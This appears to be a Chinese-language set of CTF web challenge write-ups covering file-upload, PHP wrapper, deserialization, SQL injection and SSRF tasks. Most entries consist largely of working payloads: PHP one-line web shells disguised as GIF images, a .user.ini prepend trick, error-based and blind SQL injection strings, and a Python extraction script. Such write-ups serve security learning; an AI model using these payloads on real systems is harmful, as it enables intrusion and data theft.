[SUCTF 2019]CheckIn
上传一句话木马图片
对文件的内容进行了检查。所以,我们换一种木马形式。
<script language='php'>eval($_POST['shell']);</script>
用shell.phtml进行上传。
对后缀进行了验证
我们修改一下之前木马文件3.jpg
GIF89a
<script language='php'>assert($_POST['shell'];</script>
再上传一个.user.ini 文件,当我们对目录中的任何php文件进行访问时,都会调用.user.ini中指的文件以php的形式进行读取。
所以我们写一个.user.ini进行上传。(一定要加文件幻术头)
GIF89a
auto_prepend_file=3.jpg
上传成功。连接蚁剑。
2019]NiZhuanSiWei
进入题目,直接给出了php源码
看到有include文件包含,必然是解题的重点,所以先看第一个if,必须先满足它。
text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf
file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没没有一个文件,而是读取的text变量。没查到相关这方面的用法,特别是那个r参数。
而如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。
所以需要用方法绕过它,两种方法
php://input伪协议
此协议需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 ?test=php://input ,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用bp抓包。
看到有回显,可行。
data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似
?text=data:text/plain,welcome to the zjctf
也可以加上 base64 编码。
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
再看第二个if file不能有flag字符。没啥,往下看。
提示了有一个 useless.php ,想到之前说的PHP伪协议中的php://filter读取文件。尝试。
php://filter/read=convert.base64-encode/resource=useless.php
所以构造payload,成功回显
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码,成功得到 useless.php 源码。
<?php
class Flag{
//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
看到有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串。
<?php
class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$s = serialize(new Flag());
echo $s;
?>
O:4:"Flag":1:{
s:4:"file";s:8:"flag.php";}
最终构造payload
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php
&password=O:4:"Flag":1:{
s:4:"file";s:8:"flag.php";}
[CISCN2019 华北赛区 Day2 Web1]Hack World
提示了存在flag表与flag列,先输入正常内容1:
可以得到正常的回显,再测试2:
再输入999,得到错误提示:
输入2-1时,得到注入提示:
在判断数值型和字符型注入时,可以通过提交数学式的方式,例如:id=2/2,字符型返回id=2的内容,数字型则返回id=1的结果。
输入2/2判断注入类型:
得到正常回显,猜测为数字型的盲注,使用length()方法测试:
(length(database())>4)
得到正常回显,即为1的结果:
当尝试<4时:
基本断定为数字型的布尔盲注。
通过后续的语句测试,好像过滤了(空格),所以采用()作为语句间的分隔
id=(ascii(substr((select(flag)from(flag)),0,1))<120)
可以成功,估算flag的长度为50,使用二分法盲注的Python3脚本爆出flag:
import requests
url = 'http://c6140ee3-6f16-4096-8f22-06ecaa6738ed.node3.buuoj.cn/index.php'
flag = ''
for i in range(1, 50):
max = 127
min = 0
for c in range(0, 127):
s = int((max + min) / 2)
payload = '(ascii(substr((select(flag)from(flag)),%d,1))<%d)' % (i, s)
r = requests.post(url, data={
'id': payload})
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max = s
else:
min = s
if (max - min) <= 1:
flag += chr(max-1)
print(flag)
break
print(flag)
题目限制了大部分函数与关键字,以及最重要的空格。
空格可以使用括号,即任何可以计算结果的语句都可以用括号包围起来;
Tab键、%09、%0a、%0b、%0c、/**/也可以作为空格
还可以使用1^异或这种方法:
1^1=0
0^0=0
1^0=1
即构造id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
这种形式也可以。
[极客大挑战 2019]HardSQL
经过手工测试过滤了and、= 空格 union等多个sql关键字
要思考如何绕过这些关键字去注入!
使用updatexml报错法注入
查数据库信息
/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
结果:geek
查表
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
结果:H4rDsq1
查字段
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
结果:id,username,password
查数据
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21
结果:flagflag{acf5a8e4-5671-41f9-aa
用right()语句在查询后面部分
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
1-41f9-aa2d-12e51d69ddc3}
最后为:
flag{acf5a8e4-5671-41f9-aa2d-12e51d69ddc3}
extractvalue报错注入
爆数据库名
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆表名
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格,用like绕过了=号
爆列名
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#同上,语句不变改一下变量就行
找到flag
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!
可是只显示了flag其中的一段。
剩下的用right()显示其他位数的
check.php?username=aaa&password=aaa'^extractvalue(1,rightconcat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!
[GYCTF2020]Blacklist
先1’
字符型注入
再输入
1' or '1'='1
联合注入
返回了过滤内容
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
堆叠注入
payload:
看表
1';show tables;#
看列
payload
1';show columns from `FlagHere`; %23
由于过滤了prepare和alert
我们可以用
HANDLER方法
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
[MRCTF2020]Ez_bypass
gg和id参数强比较,通过数组来绕过
is_numeric函数的作用是检测变量是否为数字或数字字符串,是则返回ture,反之。
使用hackbar的post传参,passwd
[RoarCTF 2019]Easy Java
)
尝试点击help发现
发现filename=help.docx有可能可以进行文件读取
文中提到,漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,再通过反编译class文件,得到网站源码。
尝试读取web.xml文件
那就来读取这个class文件,构造payload
?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
ZmxhZ3syMmU4NTY4MS03ZDM2LTQyNjQtYWNlYi1kMjdmNDU4ZjY0YzF9Cg==
[GKCTF2020]cve版签到
这是一个信息泄露的漏洞,具体使用方法入下。
结合cve可知,get_headers()函数存在漏洞。通过\0截断,访问本地主机。经过尝试,题目这里需使用%00截断
再根据网页代码中给的提示开始构造payload
payload:
/?url=http://127.0.0.1%00.ctfhub.com
payload:
/?url=http://127.0.0.123%00.ctfhub.com
[GXYCTF2019]BabyUpload
GIF89a
<script language='php'>eval($_POST[cmd]);</script>
/var/www/html/upload/634804364a71ab27dca85781909d531f/3.jpg succesfully uploaded!
上传成功,蚁剑连接一下,在根目录找到flag